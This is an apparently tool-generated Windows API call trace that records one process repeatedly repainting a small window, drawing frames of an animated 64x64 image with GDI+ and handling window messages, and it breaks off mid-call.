[0146.046] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0146.046] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0146.046] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0146.046] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0146.046] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0146.046] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.046] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0146.047] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.047] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.047] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0146.047] GdipCreateRegion (region=0x15dc20) returned 0x0 [0146.047] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0146.047] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0146.047] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0146.047] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.048] GetSystemMetrics (nIndex=42) returned 0 [0146.048] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.048] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.048] CoTaskMemFree (pv=0x1e91eca0) [0146.048] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0146.048] GdipCreateRegion (region=0x15d710) returned 0x0 [0146.048] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0146.048] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0146.048] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0146.048] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0146.048] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.048] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.049] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.049] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0146.049] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.049] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.049] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.050] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.050] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0146.050] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0146.050] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0146.050] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0146.050] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.050] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0146.051] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0146.051] GetCurrentObject (hdc=0x3d010b91, type=0x1) returned 0x1b00017 [0146.051] GetCurrentObject (hdc=0x3d010b91, type=0x2) returned 0x1900010 [0146.051] GetCurrentObject (hdc=0x3d010b91, type=0x7) returned 0x1a05067e [0146.051] GetCurrentObject (hdc=0x3d010b91, type=0x6) returned 0x18a002e [0146.051] SaveDC (hdc=0x3d010b91) returned 1 [0146.051] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffde0407c3 [0146.052] GetClipRgn (hdc=0x3d010b91, hrgn=0xffffffffde0407c3) returned 0 [0146.052] SelectClipRgn (hdc=0x3d010b91, hrgn=0xffffffffae040b8a) returned 2 [0146.052] DeleteObject (ho=0xffffffffde0407c3) returned 1 [0146.052] DeleteObject (ho=0xffffffffae040b8a) returned 1 [0146.052] OffsetViewportOrgEx (in: hdc=0x3d010b91, x=0, y=0, lppt=0x26e5448 | out: lppt=0x26e5448) returned 1 [0146.052] GetNearestColor (hdc=0x3d010b91, color=0xffffff) returned 0xffffff [0146.052] CreateSolidBrush (color=0xffffff) returned 0xffffffffb6100190 [0146.052] FillRect (hDC=0x3d010b91, lprc=0x15d7c0, hbr=0xffffffffb6100190) returned 1 [0146.052] DeleteObject (ho=0xffffffffb6100190) returned 1 [0146.052] RestoreDC (hdc=0x3d010b91, nSavedDC=-1) returned 1 [0146.053] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.053] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3d010b91) returned 0x0 [0146.053] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc7a0dbd) returned 0x0 [0146.053] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.053] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0146.053] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.053] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.053] GetSystemMetrics (nIndex=42) returned 0 [0146.053] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.053] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.053] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.054] CoTaskMemFree (pv=0x1e91eca0) [0146.054] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0146.054] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0146.054] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0146.054] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0146.054] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3d010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.054] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.054] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3d010b91) returned 0x0 [0146.054] SelectObject (hdc=0x3d010b91, h=0x185000f) returned 0x1a05067e [0146.054] DeleteDC (hdc=0x3d010b91) returned 1 [0146.055] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.055] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0146.055] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0146.055] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0146.055] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.055] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.055] WaitMessage () returned 1 [0146.177] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.177] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.177] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.177] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.177] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.177] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0146.178] GetCurrentThreadId () returned 0xec0 [0146.178] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0146.178] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.178] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.178] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.178] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.178] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.178] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0146.178] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0146.178] CreateCompatibleDC (hdc=0x3010b83) returned 0x3e010b91 [0146.179] SelectObject (hdc=0x3e010b91, h=0x1a05067e) returned 0x185000f [0146.179] GdipCreateFromHDC (hdc=0x3e010b91, graphics=0x15daf0) returned 0x0 [0146.179] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0146.179] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0146.179] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0146.179] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0146.179] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0146.179] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.179] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0146.180] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.180] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.180] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0146.180] GdipCreateRegion (region=0x15dc20) returned 0x0 [0146.180] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0146.180] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0146.180] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0146.181] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.181] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.181] GetSystemMetrics (nIndex=42) returned 0 [0146.181] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.181] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.181] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.181] CoTaskMemFree (pv=0x1e91eca0) [0146.181] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0146.181] GdipCreateRegion (region=0x15d710) returned 0x0 [0146.182] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0146.182] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0146.182] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0146.182] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0146.182] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.183] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.183] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.183] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0146.184] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.184] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.184] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.185] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.185] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0146.185] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0146.185] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0146.185] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0146.186] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.186] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0146.186] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0146.186] GetCurrentObject (hdc=0x3e010b91, type=0x1) returned 0x1b00017 [0146.186] GetCurrentObject (hdc=0x3e010b91, type=0x2) returned 0x1900010 [0146.187] GetCurrentObject (hdc=0x3e010b91, type=0x7) returned 0x1a05067e [0146.187] GetCurrentObject (hdc=0x3e010b91, type=0x6) returned 0x18a002e [0146.187] SaveDC (hdc=0x3e010b91) returned 1 [0146.187] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffaf040b8a [0146.188] GetClipRgn (hdc=0x3e010b91, hrgn=0xffffffffaf040b8a) returned 0 [0146.188] SelectClipRgn (hdc=0x3e010b91, hrgn=0xffffffffdf0407c3) returned 2 [0146.188] DeleteObject (ho=0xffffffffaf040b8a) returned 1 [0146.188] DeleteObject (ho=0xffffffffdf0407c3) returned 1 [0146.188] OffsetViewportOrgEx (in: hdc=0x3e010b91, x=0, y=0, lppt=0x26e5d80 | out: lppt=0x26e5d80) returned 1 [0146.189] GetNearestColor (hdc=0x3e010b91, color=0xffffff) returned 0xffffff [0146.189] CreateSolidBrush (color=0xffffff) returned 0xffffffffb7100190 [0146.189] FillRect (hDC=0x3e010b91, lprc=0x15d7c0, hbr=0xffffffffb7100190) returned 1 [0146.189] DeleteObject (ho=0xffffffffb7100190) returned 1 [0146.189] RestoreDC (hdc=0x3e010b91, nSavedDC=-1) returned 1 [0146.190] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.190] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3e010b91) returned 0x0 [0146.190] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc780dbd) returned 0x0 [0146.190] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.191] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0146.191] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.191] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.191] GetSystemMetrics (nIndex=42) returned 0 [0146.191] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.191] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.192] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.192] CoTaskMemFree (pv=0x1e91eca0) [0146.192] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0146.197] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0146.197] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0146.197] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0146.197] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0146.198] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3e010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.198] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.198] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3e010b91) returned 0x0 [0146.198] SelectObject (hdc=0x3e010b91, h=0x185000f) returned 0x1a05067e [0146.198] DeleteDC (hdc=0x3e010b91) returned 1 [0146.199] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.199] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0146.199] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0146.199] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0146.199] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.199] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.199] WaitMessage () returned 1 [0146.395] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.395] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.395] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.395] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.395] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.395] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0146.395] GetCurrentThreadId () returned 0xec0 [0146.396] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0146.396] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.396] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.396] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.396] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.396] DispatchMessageW (lpMsg=0x15e910) returned 0x32080181 [0146.396] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0146.397] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0146.397] CreateCompatibleDC (hdc=0x3010b83) returned 0x3f010b91 [0146.397] SelectObject (hdc=0x3f010b91, h=0x1a05067e) returned 0x185000f [0146.397] GdipCreateFromHDC (hdc=0x3f010b91, graphics=0x15daf0) returned 0x0 [0146.397] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0146.398] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0146.398] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0146.398] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0146.398] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0146.398] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.398] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0146.399] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.399] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.399] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0146.399] GdipCreateRegion (region=0x15dc20) returned 0x0 [0146.400] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0146.400] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0146.400] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0146.400] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.400] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.400] GetSystemMetrics (nIndex=42) returned 0 [0146.400] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.400] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.401] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.401] CoTaskMemFree (pv=0x1e91eca0) [0146.401] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0146.401] GdipCreateRegion (region=0x15d710) returned 0x0 [0146.401] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0146.401] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0146.401] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0146.402] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0146.402] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.402] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.402] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.403] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0146.403] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0146.403] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0146.403] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0146.403] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.404] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0146.404] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0146.404] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0146.404] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0146.404] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.404] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0146.405] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0146.405] GetCurrentObject (hdc=0x3f010b91, type=0x1) returned 0x1b00017 [0146.405] GetCurrentObject (hdc=0x3f010b91, type=0x2) returned 0x1900010 [0146.405] GetCurrentObject (hdc=0x3f010b91, type=0x7) returned 0x1a05067e [0146.405] GetCurrentObject (hdc=0x3f010b91, type=0x6) returned 0x18a002e [0146.405] SaveDC (hdc=0x3f010b91) returned 1 [0146.405] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe00407c3 [0146.405] GetClipRgn (hdc=0x3f010b91, hrgn=0xffffffffe00407c3) returned 0 [0146.405] SelectClipRgn (hdc=0x3f010b91, hrgn=0xffffffffb0040b8a) returned 2 [0146.405] DeleteObject (ho=0xffffffffe00407c3) returned 1 [0146.405] DeleteObject (ho=0xffffffffb0040b8a) returned 1 [0146.406] OffsetViewportOrgEx (in: hdc=0x3f010b91, x=0, y=0, lppt=0x26e7068 | out: lppt=0x26e7068) returned 1 [0146.406] GetNearestColor (hdc=0x3f010b91, color=0xffffff) returned 0xffffff [0146.406] CreateSolidBrush (color=0xffffff) returned 0xffffffffb8100190 [0146.406] FillRect (hDC=0x3f010b91, lprc=0x15d7c0, hbr=0xffffffffb8100190) returned 1 [0146.406] DeleteObject (ho=0xffffffffb8100190) returned 1 [0146.406] RestoreDC (hdc=0x3f010b91, nSavedDC=-1) returned 1 [0146.406] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.406] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3f010b91) returned 0x0 [0146.406] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc760dbd) returned 0x0 [0146.407] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.407] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0146.407] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0146.407] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0146.407] GetSystemMetrics (nIndex=42) returned 0 [0146.407] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0146.407] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0146.407] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0146.407] CoTaskMemFree (pv=0x1e91eca0) [0146.407] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0146.407] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0146.408] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0146.408] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0146.408] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3f010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.408] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.408] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3f010b91) returned 0x0 [0146.408] SelectObject (hdc=0x3f010b91, h=0x185000f) returned 0x1a05067e [0146.409] DeleteDC (hdc=0x3f010b91) returned 1 [0146.409] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0146.409] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0146.409] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0146.409] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0146.410] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.410] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0146.410] WaitMessage () returned 1 [0146.581] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.581] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.581] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.581] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.581] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.582] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0146.582] GetCurrentThreadId () returned 0xec0 [0146.582] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0146.582] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.582] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.582] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.582] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.582] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.582] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0146.582] SelectPalette (hdc=0x3010b83, 